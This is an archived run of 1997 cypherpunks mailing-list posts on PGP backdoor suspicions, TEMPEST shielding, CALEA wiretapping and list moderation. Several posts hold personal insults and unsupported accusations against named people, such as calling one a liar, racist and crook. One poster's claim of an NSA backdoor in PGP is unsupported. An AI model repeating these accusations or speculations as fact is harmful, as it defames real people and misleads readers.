  The spooks funded MIT's RSA development, and they are not
noted for funding projects for the good of the common man.
To suggest that they would fund a form of cryptography that
didn't have their own back-door for sounds implausible.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 12 Mar 1997 01:18:18 -0800 (PST)
To: TruthMonger <an7575@anon.nymserver.com>
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120846.BAA02942@shaman.lycaeum.org>
Message-ID: <199703120323.DAA03881@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3952.1071713687.multipart/signed"

--Boundary..3952.1071713687.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


In <199703120846.BAA02942@shaman.lycaeum.org>, on 03/12/97 at 02:46 AM,
   TruthMonger <an7575@anon.nymserver.com> said:


>  The relationship between MIT and the NSA and the Military
>isn't very far under the table. 
>  The spooks funded MIT's RSA development, and they are not
>noted for funding projects for the good of the common man.
>To suggest that they would fund a form of cryptography that
>didn't have their own back-door for sounds implausible.

Well the source code is available for PGP & the RSA library. Can you
document where in the code there is a back door for the government?

If you can show what part of the code gives you concerns I am sure everyone
on the list would be eager to listen otherwise this is just more FUD.

--
-----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
-----------------------------------------------------------
 
Tag-O-Matic: OS/2: Windows with bullet-proof glass.


--Boundary..3952.1071713687.multipart/signed
Content-Type: application/octet-stream; name="pgp00001.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00001.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IDIuNi4zaQpD
b21tZW50OiBSZWdpc3RlcmVkIFVzZXIgRS1TZWN1cmUgdjEuMSBFUzAwMDAw
MAoKaVFDVkF3VUFNeVowNVk5Q28xbithTGhoQVFIc21BUC9aMzJ3Y20yVjRX
SyszelZqR0R4cW1nWFM3T2hZWEtJYgo5R2xlRi9uSU4zRlRJRXZza1NuTmN2
WnJ5OGliUTdLRlo3V3c0ZXkwMDdEcnZLVjgzVGVJT3d3L3VxQXVQcGhpCjVk
L2xvMmhuTmI5Y2xKVWxWNWpHUkJGbEoxVnlVb1VHcWtLbUtLRi9YTEQvcmQ0
L2cvbjJ4RUFCaVh2ZkRJL1IKeVh4NWs4aEdkaEE9Cj1xV2N3Ci0tLS0tRU5E
IFBHUCBNRVNTQUdFLS0tLS0=
--Boundary..3952.1071713687.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Wed, 12 Mar 1997 02:16:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120323.DAA03881@mailhub.amaranth.com>
Message-ID: <199703121016.DAA05986@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:

> 

> In <199703120846.BAA02942@shaman.lycaeum.org>, on 03/12/97 at 02:46 AM,

>    TruthMonger <an7575@anon.nymserver.com> said:

> 

> >  The relationship between MIT and the NSA and the Military

> >isn't very far under the table.

> >  The spooks funded MIT's RSA development, and they are not

> >noted for funding projects for the good of the common man.

> >To suggest that they would fund a form of cryptography that

> >didn't have their own back-door for sounds implausible.

> 

> Well the source code is available for PGP & the RSA library. Can you

> document where in the code there is a back door for the government?


  Can you document where it isn't?
 

> If you can show what part of the code gives you concerns I am sure everyone

> on the list would be eager to listen otherwise this is just more FUD.


  I realize that you may be too inexperienced in just how the
real world works to understand the value of mistrusting systems
whose development is bought and paid for by the spooks, but I
wish I had a nickle for every loser in history who went to the
gallows complaining that they'd been lied to and fucked over
when the real problem was that they had their hands over their
ears and thier eyes closed.
  Zimmerman may be a saint or a ratfucker, but either way, he
doesn't have a key to the cell door, so I'd rather count on 
myself to stay on the open-air side of it.

  I would suggest that if you want to look for "FUD" you take
a look at your own trusting faith in spook-produced cryptography.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Mar 1997 04:36:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: REA_lly
Message-ID: <1.5.4.32.19970312122909.0071e268@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


3-12-97:

US claims CIA was not spying on Germany but on
rogue states doing business there. Spy has not been
expelled.

-----

REA_lly





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 12 Mar 1997 08:15:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cato forum on wiretapping and Digital Telephony (3/24/97)
Message-ID: <Pine.GSO.3.95.970312081538.25189G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 12 Mar 1997 08:15:15 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Cato forum on wiretapping and Digital Telephony (3/24/97)

[I find that Cato's forums are always worth attending. --Declan]


---------- Forwarded message ----------
Date: Wed, 12 Mar 1997 10:15:21 -0500 (EST)
From: Solveig Bernstein <sberns@cato.org>
To: Declan McCullagh <declan@well.com>
Subject: a cato forum

Declan, could you post this to fightcensorship or otherwise forward it around?

********************************************************************
This forum will be held at noon on March 24 at the Cato Institute at 1000
Mass. Ave. N.W., Washington, DC.  To register, please call Heather Antilla
at 202.842.3490 or email to hantila@cato.org.

********************************************************************


	Wiretapping in the Digital Age:
	Reassessing CALEA


Barry Steinhardt			Alan McDonald
ACLU						FBI


Jim Dempsey				Albert Gidari
Center for Democracy and Technology	Perkins Coie

CALEA, the "Communications Assistance in Law Enforcement Act," requires
phone companies to retrofit their networks to facilitate wiretapping by law
enforcement.  Are laws like CALEA appropriate for our constitutional
republic, or are the economic costs and dangers to privacy too great?
Should Congress have delegated to the FBI so much power to implement CALEA?
Have the FBI's demands under the statute been reasonable?    





Solveig Bernstein, Esq.
(202) 789-5274
(202) 842-3490 (fax)

Assistant Director of Telecommunications & Technology Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Wed, 12 Mar 1997 06:31:43 -0800 (PST)
To: Pez Dispenser <pez@nym.alias.net>
Subject: Re: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <19970312121010.1143.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970312092525.141U-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On 12 Mar 1997, Pez Dispenser wrote:

-> Sergey Goldgaber wrote:
-> > 
-> > Actually, I think anon7575 is a true cypherpunk in spirit, regardless of 
-> > the truth value of what he said.
-> > 
-> > Spreading paranoia is very conducive to security.
-> > 
-> 
-> Think before you write. I suppose paranoia about terrorist threats
-> is in the cypherpunk spirit? Perhaps paranoia about those evil criminals
-> with the big guns coming and hurting us? Gosh, I'm a cypherpunk, I need
-> to be paranoid about these things! Let's give up all our rights so the
-> government can protect us!

Obviously, government intervention is not always the best solution.
However, stepping up security is in the cypherpunk spirit.

And save the patronising tone.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 08:36:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Ecash Brain Tennis
In-Reply-To: <3.0.1.32.19970311164810.007b6350@flex.com>
Message-ID: <JJmg4D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>From owner-freedom-knights@kachina.jetcafe.org  Tue Mar 11 21:48:54 1997
Received: by bwalk.dm.com (1.65/waf)
	via UUCP; Wed, 12 Mar 97 08:25:31 EST
	for dlv
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        id AA20396 for dlv@bwalk.dm.com; Tue, 11 Mar 97 21:48:54 -0500
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X-Mailer: Windows Eudora Light Version 3.0.1 (32)
Date: Tue, 11 Mar 1997 16:48:10 -1000
To: freedom-knights@jetcafe.org
From: "Dr. Jai Maharaj" <jai@mantra.com>
Subject: Re: Ecash Brain Tennis
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freedom-knights@jetcafe.org
Precedence: bulk
Reply-To: freedom-knights@jetcafe.org

dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) posted:
>
> From: John Young <jya@pipeline.com>
> [...]
> Decrypt "tragedy of the commons" as "anarchy" for the cleartext
> alarm being transmitted.

One is reminded of:

"When compared with the suppression of anarchy every other
question sinks into insignificance. The anarchist is the enemy of
humanity, the enemy of all mankind, and his is a deeper degree of
criminality than any other. No immigrant is allowed to come to our
shores if he is an anarchist; and no paper published here or abroad
should be permitted circulation in this country if it propagates
anarchist opinions."
  - President Theodore Roosevelt

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 12 Mar 1997 11:30:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] OTP
Message-ID: <199703121930.LAA06892@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C. May carries a turd in his wallet for identification 
purposes.

    _ _/|
   \'o.0'
   =(___)= Timmy C. May
      U





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Wed, 12 Mar 1997 08:43:30 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: TEMPEST protection
In-Reply-To: <33265C33.15BB@gte.net>
Message-ID: <Pine.BSD/.3.91.970312113344.21996D-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


<sorry for the earlier finger glitch>

On Tue, 11 Mar 1997, Dale Thorn wrote:

> Actually, the computer you type on will be very easy to pick out
> of the noise field with modest spy equipment sitting down the street.
> 
> There's a company (I lost the brochure) who sell EM attenuator
> material, some preconfigured, and presumably some bulk.  It should
> be easy to find on the Web.  Once you get some really dramatic
> attenuation, particularly of the keyboard (and particularly during
> password confirmations, etc.), you should do your own preliminary
> monitoring with some of those band-sweep gadgets.  Steady noise
> of course is nothing compared to the spikes from some of the keyboard
> outputs...
> 
> Once you've identified all (we can hope, can't we) of the problem
> signals still leaking through the shielding (albeit at greatly
> reduced levels), you can direct different kinds of efforts there,
> including random noise from other computers which use the exact
> same output devices.

>From what I've seen, it's a lot easier for "the bad guys" to concentrate 
on monitor emissions - you can read the screen someone's looking at, and 
not just the key-clicks.  Won't get you blanked-out passwords, though.  
Much of the monitor's emissions may be out the back.

Other places to look for emissions: the power supply, and the connection 
points for peripherals.  Make sure you leave adequate ventilation, though 
(another tricky part).

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pez Dispenser <pez@nym.alias.net>
Date: Wed, 12 Mar 1997 04:10:15 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <Pine.LNX.3.95.970311223527.141B-100000@void.el.net>
Message-ID: <19970312121010.1143.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Sergey Goldgaber wrote:
> 
> Actually, I think anon7575 is a true cypherpunk in spirit, regardless of 
> the truth value of what he said.
> 
> Spreading paranoia is very conducive to security.
> 

Think before you write. I suppose paranoia about terrorist threats
is in the cypherpunk spirit? Perhaps paranoia about those evil criminals
with the big guns coming and hurting us? Gosh, I'm a cypherpunk, I need
to be paranoid about these things! Let's give up all our rights so the
government can protect us!

--Pez Dispenser




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 14:10:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Mail Volume??
In-Reply-To: <Pine.BSD/.3.91.970312093203.21862B-100000@mrburns.iosphere.net>
Message-ID: <uTyg4D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Cynthia H. Brown" <cynthb@sonetis.com> writes:
> Perhaps many of the 1400-odd subscribers belonged to unused accounts, or
> accounts on dead systems.  With fewer names to process, this should speed
> up the distribution significantly.

FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got
hundreds of bounces from nonexistent addresses.  I guess the 1400 silent
supporters of moderation were another one of John Gilmore's lies.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Mar 1997 14:39:17 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Mail Volume??
In-Reply-To: <uTyg4D1w165w@bwalk.dm.com>
Message-ID: <199703122235.QAA06717@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dr.Dimitri Vulis KOTM wrote:
> 
> "Cynthia H. Brown" <cynthb@sonetis.com> writes:
> > Perhaps many of the 1400-odd subscribers belonged to unused accounts, or
> > accounts on dead systems.  With fewer names to process, this should speed
> > up the distribution significantly.
> 
> FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got
> hundreds of bounces from nonexistent addresses.  I guess the 1400 silent
> supporters of moderation were another one of John Gilmore's lies.

I once, as a prank, sent mail to cypherpunks-outgoing-ksiuw@toad.com.
Since cypherpunks-outgoing-ksiuw is a simple sendmail alias, all bounces
went directly to me as my name was listed in the "From " field.

I got about a hundred or so bounces, some of which were results of
intermittent problems like full mailboxes, etc. (the actual number could
be 90% likely between 50 and 150 as I was not really counting).

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 12 Mar 1997 13:49:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: DIMACS Workshop on Cryptographic Protocol Design andVerification, Sept. 3-5, 1997
Message-ID: <v03020943af4cd44ecc0a@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 12 Mar 1997 14:11:04 -0500
From: ho@earth.hpc.org (Hilarie Orman)
To: ipsec@tis.com
Subject: DIMACS Workshop on Cryptographic Protocol Design and Verification,
Sept. 3-5, 1997
Sender: owner-ipsec@ex.tis.com
Precedence: bulk

Here's a more complete announcement for the workshop.

Hilarie

=============================================================================

DIMACS Workshop on Formal Verification of Security Protocols
Sept. 3-5, 1997
Organizers:  Hilarie Orman, DARPA and Catherine Meadows, Naval Research
Laboratory


As we come to rely more and more upon computer networks to perform vital
functions, the need for cryptographic protocols that can enforce
a variety of security properties has become more and more important.
Thus it is no surprise that in recent years a number of new
protocols have been proposed for such applications as electronic
credit card transactions, Web browsing, and so forth.
Since it is notoriously difficult to design cryptographic protocols
correctly, this increased reliance on them to provide security has
become cause for some concern.  This is especially the case since
many of the new protocols are extremely complex.

In answer to these needs, research has been intensifying in the application
of formal methods to cryptographic protocol verification.  Recently
this work has matured enough so that it is starting to see application
to real-life protocols.  The goal of this workshop is to facilitate
this process by bringing together those were are involved in the design
and standardization of cryptographic protocols, and those who are developing
and using formal methods techniques for the verification of such protocols.
To this end we plan to alternate papers with panels soliciting new
paths for research.  We are particularly interested in paper
and panel proposals addressing new protocols with respect to their
formal and informal analysis.


Other topics of interest include, but are not limited to

- Progress in belief logics
- Use of theorem provers and model checkers in verifying crypto protocols
- Interaction between protocols and cryptographic modes of operation
- Methods for unifying documentation and formal, verifiable specification
- Methods for incorporating formal methods into crypto protocol design
- Verification of cryptographic API systems
- Formal definition of correctness of a cryptographic protocol
- Arithmetic capability required for proofs of security for
     number theoretic systems
- Formal definitions of cryptographic protocol requirements
- Design methodologies
- Emerging needs and new uses for cryptographic protocols
- Multiparty protocols, in particular design and verification methods


We encourage attendees to bring tools for demonstration.  Information
about availability of facilities for demonstration will be posted later.

To submit a paper to the workshop, submit a one or two page abstract,
in Postscript or ASCII to both organizers at the email addresses given below
by June 16, 1997.  Authors will be notified of acceptance or rejection of
abstracts by July 1.  Full papers will be due by August 1.
Copies of papers will be distributed at the workshop.  We also plan
to publish a proceedings.

Participation in the workshop is *not* limited to those giving presentations.

If you would like to attend the workshop, a registration form is available
at  http://dimacs.rutgers.edu/Workshops/Cryptographic/reg_form.html.
Information on accommodations and travel arrangements is available at
http://dimacs.rutgers.edu/Workshops/general/accommodations.html and
http://dimacs.rutgers.edu/Workshops/general/travel.html.
Information on the workshop in general is at
http://dimacs.rutgers.edu/Workshops/Cryptographic.

			Organizers

Hilarie Orman				Catherine Meadows
DARPA ITO				Naval Research Laboratory
3701 N. Fairfax Drive			Code 5543
Arlington VA 22203-1714			Washington, DC 20375
phone: (703)696-2234			phone: (202)-767-3490
email: horman@darpa.mil			email:meadows@itd.nrl.navy.mil



--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 12 Mar 1997 13:41:05 -0800 (PST)
To: Sergey Goldgaber <sergey@el.net>
Subject: Re: Subject: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <Pine.LNX.3.95.970312092525.141U-100000@void.el.net>
Message-ID: <Pine.LNX.3.95.970312163732.881A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 12 Mar 1997, Sergey Goldgaber wrote:

> On 12 Mar 1997, Pez Dispenser wrote:
> 
> -> Think before you write. I suppose paranoia about terrorist threats
> -> is in the cypherpunk spirit? Perhaps paranoia about those evil criminals
> -> with the big guns coming and hurting us? Gosh, I'm a cypherpunk, I need
> -> to be paranoid about these things! Let's give up all our rights so the
> -> government can protect us!
> 
> Obviously, government intervention is not always the best solution.
> However, stepping up security is in the cypherpunk spirit.

Indeed.  There seems to be a frequent misconception that security == government
intrustion.  Security provides solutions that can be voluntarily accepted or
rejected and which exist to specifically thwart attacks on a system.
Government intrustion provides solutions that benefit government agencies and
not non-LEA types.  Comparing the constant releases of security advisories and
patches to knee-jerk legislation just doesn't work.  As for the point about
"evil criminals with big guns", the libertarian/cypherpunk solution to such a
problem would be to carry a bigger gun and not prohibit the ownership of guns.

> 
> And save the patronising tone.
> 
> 
>  ............................................................................
>  . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
>  ............................................................................
>  .   To him who does not know the world is on fire, I have nothing to say   .
>  .                                                      - Bertholt Brecht   .
>  ............................................................................
> 
> 
> 


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMyckESzIPc7jvyFpAQGz2gf/elp93r/df3wFFzL6lcQKu2TTNANPHaJ1
q10+l+LJ3o3FS0khJ651wZ9VaGPxRw5fWiV4PtJmmeIpNceNuZ99AkOoiRDciP7P
sba27XApMguaeOAU0Blv/d3EuEZHoHsh1q789Ktxgy88UYIWVD7Ihnh/MY7aszaW
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hFKIKFlWoyrzoUdIFmfFN3bhW4ynNTL+Zp3bym3x01xI+XH+yvwzH/RHchEbt/K1
X0psWpCEDmKMejiq7iWuEEZV9H2yLjNTg9pPJ3eEeK4w/lAI0g5CeQ==
=fEg9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 12 Mar 1997 16:29:32 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [CRYPTO] OTP
In-Reply-To: <199703121930.LAA06892@mailmasher.com>
Message-ID: <Pine.A41.3.95.970312172626.71880A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vulis time to take your pills.

On Wed, 12 Mar 1997, Huge Cajones Remailer wrote:

> Timmy C. May carries a turd in his wallet for identification 
> purposes.
> 
>     _ _/|
>    \'o.0'
>    =(___)= Timmy C. May
>       U
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Wed, 12 Mar 1997 15:02:37 -0800 (PST)
To: dlv@bwalk.dm.com>
Subject: Re: Mail Volume
Message-ID: <Pine.LNX.3.95.970312175743.16895A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Vulis KOTM wrote:
 
> "Cynthia H. Brown" <cynthb@sonetis.com> writes:
> > Perhaps many of the 1400-odd subscribers belonged to unused accounts, or 
> > accounts on dead systems.  With fewer names to process, this should speed
> > up the distribution significantly.
> 
> FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got
> hundreds of bounces from nonexistent addresses.  I guess the 1400 silent
> supporters of moderation were another one of John Gilmore's lies.
>    
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
>

And on that rare occasion, my dear Doctor, why did you email those 1400
addresses directly?  Perhaps you would like to share that with the rest of
us?



---
 Trevor Goodchild





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <an7575@anon.nymserver.com>
Date: Wed, 12 Mar 1997 19:30:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Nymserver: anon.nymserver.com
In-Reply-To: <199703120626.XAA27069@shaman.lycaeum.org>
Message-ID: <199703130330.UAA27994@shaman.lycaeum.org>
MIME-Version: 1.0
Content-Type: text/plain



Alan Olsen wrote:> > 
> > At 06:53 AM 3/12/97 CST, Roy M. Silvernail wrote:
> > > an7575@anon.nymserver.com writes:
> >> >>   The use of PGP=>2.5 suddenly became a 'non-issue' for use in the U.S.
> >> because they use both the algorithm and sub-routines developed by the
> >> NSA and the Military.

> >> >If you have an exploit for 2.5+, publish it.  Otherwise, you're just
> >blowing FUD.

> > I always wonder where these people get their information.  I know people who
> know little to nothing about cryptography, but "they know PGP has been
> broken".

  I always wonder why there seem to be so many lame fucks on
the cypherpunks list who, rather than responding to the posts
on the list, seem to be responding to some broken recording
going on in their own head.
  Naturally, these lame fucks never have a direct quote available
to match the words inside their heads that they purport to place
in the mouths of others.

  Why don't 'these people' try actually following a thread and
deal with the concepts involved, rather than spouting off their
auto-bot, knee-jerk responses to the voices of old wars that
they are still fighting inside their heads?

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Wed, 12 Mar 1997 20:13:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: ZDNet Announces New Features!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.19735.03121997200007.166829@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


----------------------------------------------------------------------
           ZDNET ANNOUNCEMENT          3/13/97
------------------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Mar 1997 21:17:21 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: TEMPEST protection
In-Reply-To: <Pine.BSD/.3.91.970312113344.21996D-100000@mrburns.iosphere.net>
Message-ID: <33278DC0.60D4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> On Tue, 11 Mar 1997, Dale Thorn wrote:
> > Actually, the computer you type on will be very easy to pick out
> > of the noise field with modest spy equipment sitting down the street.

> Other places to look for emissions: the power supply, and the connection
> points for peripherals.  Make sure you leave adequate ventilation, though
> (another tricky part).

Funny thing was, first time I used PGP I was typing in a passphrase
and apparently PGP was doing something to the keyboard processor
on my laptop, because all of a sudden I thought I'd gotten bat's
ears - I could hear interesting new noises every time I pressed a
key, which I hadn't heard before (at least at an audible volume).

It occurred to me that typing in a PGP passphrase would be a
particularly bad time to increase the emissions....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 12 Mar 1997 19:51:25 -0800 (PST)
To: real@freenet.edmonton.ab.ca (Graham-John Bullers)
Subject: Re: [CRYPTO] OTP
In-Reply-To: <Pine.A41.3.95.970312172626.71880A-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <199703130340.VAA08675@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Graham-John Bullers wrote:
> 
> Vulis time to take your pills.

I am not a native English speaker, and am curious about something.  Mr.
GB does not put a comma after "Vulis", although I think that a standard
English practice is to do so. That makes his messages look kinda cute. I
wonder whether there is any hidden meaning in omitting commas in this
case.

thanks

igor



> On Wed, 12 Mar 1997, Huge Cajones Remailer wrote:
> 
> > Timmy C. May carries a turd in his wallet for identification 
> > purposes.
> > 
> >     _ _/|
> >    \'o.0'
> >    =(___)= Timmy C. May
> >       U
> > 
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Mar 1997 19:12:43 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Roosevelt quote
In-Reply-To: <3.0.1.32.19970312143200.007b6570@flex.com>
Message-ID: <JFHH4D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Dr. Jai Maharaj" <jai@mantra.com> writes:

> On 97-03-12 18:09:16 EST,
> in message <Pine.SUN.3.91.970312154111.18828B-100000@panix.com>,
> cp@panix.com (Charles Platt) wrote to me:
> >
> > Assuming you are a real person, and assuming it was you who found the
> > quote below from Roosevelt, I would love to know the source of the
> > quote, because it is such a chilling indictment of a widely loved
> > (i.e. misunderstood!) politician. I would like to include the quote
> > in one of my future articles for Wired magazine or Internet > Underground.
> >
> > I'm not entirely sure that your address is genuine because it was
> > quoted in a message from Dimitri Vulis, who is not entirely reliable.
> >
> > --CP
> >
> >> "When compared with the suppression of anarchy every other
> >> question sinks into insignificance. The anarchist is the enemy of
> >> humanity, the enemy of all mankind, and his is a deeper degree of
> >> criminality than any other. No immigrant is allowed to come to our
> >> shores if he is an anarchist; and no paper published here or abroad
> >> should be permitted circulation in this country if it propagates
> >> anarchist opinions."
> >>  - President Theodore Roosevelt
> >>
> >> Jai Maharaj
> >> jai@mantra.com
> >> Om Shanti
>
>    Okay, I will help you in your research this time because even
> though you approach me with baseless suspicion about myself and the
> defamation of Dr. Dimitri Vulis whom I have found to be a very reliable
> source of information, for you do appear to exhibit a genuine
> concern about the quote attributed to Theodore Roosevelt.
>    I believe that I read the quote most recently on a page at
> a site called "Anarchy for Anybody".  The page has the address:
>    http://pubweb.acns.nwu.edu:80/~dtn307/species.html
>    I will be interested in reading what you decide to write on the subject,
> and am mildly curious about what sort of articles have already been
> published by one who begins a project with not much more than personal
> prejudice.

You can find a lot of Charles Platt's drivel on alt.torture, where he
airs his perverse sexual fantasies. He's also earned a reputation of
a crook on sci.cryonics.

Be warned that Platt is a pathological liar and a racist.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Mar 1997 23:00:34 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: [CRYPTO] OTP
In-Reply-To: <199703130340.VAA08675@manifold.algebra.com>
Message-ID: <3327A11F.16D4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Graham-John Bullers wrote:
> > Vulis time to take your pills.

> I am not a native English speaker, and am curious about something.  Mr.
> GB does not put a comma after "Vulis", although I think that a standard
> English practice is to do so. That makes his messages look kinda cute. I
> wonder whether there is any hidden meaning in omitting commas in this case.

It was obvious to me (a native speaker) early on that the messages
from GB referring to Dr. Vulis were auto-generated.  It's fairly
easy for a human to type in the exact same response over and over
(doing so manually), but to vary the hand-typed messages, while main-
taining the complete lack of emotion and sense of robotic blandness,
would require a great deal of attention that these messages would
not justify.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 12 Mar 1997 21:39:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Toto Opportunity
Message-ID: <332792DE.7737@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hello CYPHERPUNK,
  Let me share with you how you can get in on a THRILLING, NEW
GROUND-BREAKING OPPORTUNITY to "MAKE BIG $$$", while helping to
dispel the rumors of me, TOTO, being murdered and replaced by a 
